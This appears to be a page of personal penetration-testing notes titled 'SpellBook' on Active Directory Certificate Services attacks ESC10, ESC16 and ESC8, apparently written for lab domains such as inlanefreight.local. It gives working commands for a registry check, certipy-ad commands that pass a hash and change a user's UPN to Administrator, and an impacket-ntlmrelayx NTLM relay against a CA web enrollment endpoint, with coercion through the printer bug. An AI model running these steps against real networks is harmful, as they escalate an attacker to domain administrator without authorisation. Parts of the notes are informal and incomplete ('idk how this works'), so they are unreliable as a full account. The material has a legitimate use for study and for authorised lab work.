SpellBook

Mon, 01 Jan 0001 00:00:00 +0000

ESC10#

Very hard to find. This is a misconfiguration on the ADCS server, not on the certificate template. Need a shell on the DC to check/enumerate

Case 2#

If this returns 0x4, we golden

reg query "HKLM\System\CurrentControlSet\Control\SecurityProviders\Schannel" /v "CertificateMappingMethods"

First, let’s change the UPN of a user that we can write to. See Writable Objects

Change it to the Domain Controller UPN, it is not a constraint violation since the DC01$ computer account does not have userPrincipalName

Mon, 01 Jan 0001 00:00:00 +0000

ESC16#

idk how this works

Change upn#

Change you upn to administrator. Need GenericWrite on yourself, or use another account to do this

certipy-ad account -u ca_svc -hashes ':xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' -dc-ip $target -user ca_svc -upn administrator update

Normally, Administrator’s upn is usually Administrator or Administrator@domain.name. If the above command does not work, add the @domain.name

certipy-ad account -u ca_svc -hashes ':xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' -dc-ip $target -user ca_svc -upn Administrator@domain.name update

Request cert#

Request your own certificate, with upn Administrator

Mon, 01 Jan 0001 00:00:00 +0000

ESC8#

This is the ESC8 attack. Basically the vulnerable part is that it has ADCS HTTP endpoint.

It is vulnerable to NTLM relay attack . Certificate authority web enrollment usually is at /certsrv. Now we get the certificate from that CA.

Set relay server#

impacket-ntlmrelayx -t http://ca01.inlanefreight.local/certsrv/ --adcs -smb2support --template KerberosAuthentication

Use printer bug script to make the target machine authenticate to our machine. Our machine will then pass the authentication to the CA and get a cert.